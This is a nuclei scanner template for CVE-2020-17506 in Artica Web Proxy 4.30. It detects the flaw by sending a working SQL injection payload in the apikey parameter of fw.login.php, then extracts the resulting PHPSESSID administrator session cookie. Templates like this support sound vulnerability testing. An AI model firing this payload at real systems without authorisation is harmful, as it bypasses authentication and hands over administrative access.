nuclei-templates/http/cves/2020/CVE-2020-17506.yaml

60 lines
2.1 KiB
YAML

id: CVE-2020-17506
info:
name: Artica Web Proxy 4.30 - Authentication Bypass/SQL Injection
author: dwisiswant0
severity: critical
description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability.
reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17506
- http://packetstormsecurity.com/files/158868/Artica-Proxy-4.3.0-Authentication-Bypass.html
- https://blog.max0x4141.com/post/artica_proxy/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-17506
cwe-id: CWE-89
epss-score: 0.96414
epss-percentile: 0.99468
cpe: cpe:2.3:a:articatech:web_proxy:4.30.000000:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: articatech
product: web_proxy
tags: cve,cve2020,artica,proxy,packetstorm,articatech
http:
- method: GET
path:
- "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
host-redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: word
words:
- "artica-applianc"
- type: word
part: header
words:
- "PHPSESSID"
- type: status
status:
- 200
- 301
- 302
condition: or
extractors:
- type: kval
kval:
- "PHPSESSID"
# digest: 490a0046304402201f10b9eaed7a6034b9e63c7a3a1c522c90de335659bdc23f67fdab10361daa400220438545bfbdd033b43483b6b6ecdff62d7e9df13efcf15aeef858609cab5de6af:922c64590222798bb761d5b6d8e72950